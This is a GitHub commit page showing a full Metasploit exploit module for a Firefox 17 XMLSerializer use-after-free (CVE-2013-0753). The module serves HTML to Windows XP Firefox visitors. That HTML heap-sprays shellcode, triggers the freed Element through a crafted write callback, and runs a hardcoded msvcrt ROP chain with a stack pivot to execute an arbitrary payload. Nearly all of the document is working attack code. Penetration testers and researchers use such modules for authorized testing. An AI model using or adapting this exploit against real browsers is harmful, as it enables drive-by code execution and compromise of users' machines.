Skip to content

Commit 7a4d781

Browse files
committed
Land rapid7#2274 - Firefox XMLSerializer Use After Free
2 parents b9360b9 + 82cf812 commit 7a4d781

File tree

1 file changed

+203
-0
lines changed

1 file changed

+203
-0
lines changed
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = NormalRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::RopDb
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Firefox XMLSerializer Use After Free',
20+
'Description' => %q{
21+
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
22+
an use after free of an Element object, when using the serializeToStream method
23+
with a specially crafted OutputStream defining its own write function. This module
24+
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
25+
SP3.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'regenrecht', # Vulnerability Discovery, Analysis and PoC
31+
'juan vazquez' # Metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-0753' ],
36+
[ 'OSVDB', '89021'],
37+
[ 'BID', '57209'],
38+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
39+
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
40+
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
41+
],
42+
'DefaultOptions' =>
43+
{
44+
'EXITFUNC' => 'process',
45+
'PrependMigrate' => true
46+
},
47+
'Payload' =>
48+
{
49+
'BadChars' => "\x00",
50+
'DisableNops' => true,
51+
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
52+
},
53+
'Platform' => 'win',
54+
'Targets' =>
55+
[
56+
[ 'Firefox 17 / Windows XP SP3',
57+
{
58+
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
59+
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
60+
'RetGadget' => 0x77c3ee16, # ret from msvcrt
61+
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
62+
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
63+
}
64+
]
65+
],
66+
'DisclosureDate' => 'Jan 08 2013',
67+
'DefaultTarget' => 0))
68+
69+
end
70+
71+
def stack_pivot
72+
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
73+
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
74+
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
75+
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
76+
return pivot
77+
end
78+
79+
def junk(n=4)
80+
return rand_text_alpha(n).unpack("V").first
81+
end
82+
83+
def on_request_uri(cli, request)
84+
agent = request.headers['User-Agent']
85+
vprint_status("Agent: #{agent}")
86+
87+
if agent !~ /Windows NT 5\.1/
88+
print_error("Windows XP not found, sending 404: #{agent}")
89+
send_not_found(cli)
90+
return
91+
end
92+
93+
unless agent =~ /Firefox\/17/
94+
print_error("Browser not supported, sending 404: #{agent}")
95+
send_not_found(cli)
96+
return
97+
end
98+
99+
# Fake object landed on 0x0c101008 if heap spray is working as expected
100+
code = [
101+
target['FakeVFTable'],
102+
target['RetGadget'],
103+
target['RetGadget'],
104+
target['RetGadget'],
105+
target['RetGadget'],
106+
target['PopRetGadget'],
107+
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
108+
].pack("V*")
109+
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
110+
code << [target['PopRetGadget']].pack("V") # pop # ret
111+
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
112+
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
113+
114+
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
115+
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
116+
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
117+
118+
content = <<-HTML
119+
<html>
120+
<script>
121+
var heap_chunks;
122+
123+
function heapSpray(shellcode, fillsled) {
124+
var chunk_size, headersize, fillsled_len, code;
125+
var i, codewithnum;
126+
chunk_size = 0x40000;
127+
headersize = 0x10;
128+
fillsled_len = chunk_size - (headersize + shellcode.length);
129+
while (fillsled.length <fillsled_len)
130+
fillsled += fillsled;
131+
fillsled = fillsled.substring(0, fillsled_len);
132+
code = shellcode + fillsled;
133+
heap_chunks = new Array();
134+
for (i = 0; i<1000; i++)
135+
{
136+
codewithnum = "HERE" + code;
137+
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
138+
}
139+
}
140+
141+
function gen(len, pad) {
142+
pad = unescape(pad);
143+
144+
while (pad.length < len/2)
145+
pad += pad;
146+
147+
return pad.substring(0, len/2-1);
148+
}
149+
150+
function run() {
151+
var container = [];
152+
153+
var myshellcode = unescape("#{js_code}");
154+
var myfillsled = unescape("#{js_random}");
155+
heapSpray(myshellcode,myfillsled);
156+
157+
var fake =
158+
"%u0000%u0000" +
159+
"%u0000%u0000" +
160+
"%u0000%u0000" +
161+
"%u0000%u0000" +
162+
"%u0000%u0000" +
163+
"%u0000%u0000" +
164+
"%u0000%u0000" +
165+
"#{js_ptr}";
166+
167+
var small = gen(72, fake);
168+
169+
var text = 'x';
170+
while (text.length <= 1024)
171+
text += text;
172+
173+
var parent = document.createElement("parent");
174+
var child = document.createElement("child");
175+
176+
parent.appendChild(child);
177+
child.setAttribute("foo", text);
178+
179+
var s = new XMLSerializer();
180+
var stream = {
181+
write: function() {
182+
parent.removeChild(child);
183+
child = null;
184+
for (i = 0; i < 2097152; ++i)
185+
container.push(small.toLowerCase());
186+
}
187+
};
188+
189+
s.serializeToStream(parent, stream, "UTF-8");
190+
}
191+
</script>
192+
<body onload="run();">
193+
</body>
194+
</html>
195+
HTML
196+
197+
print_status("URI #{request.uri} requested...")
198+
print_status("Sending HTML")
199+
send_response(cli, content, {'Content-Type'=>'text/html'})
200+
201+
end
202+
203+
end

0 commit comments

Comments
 (0)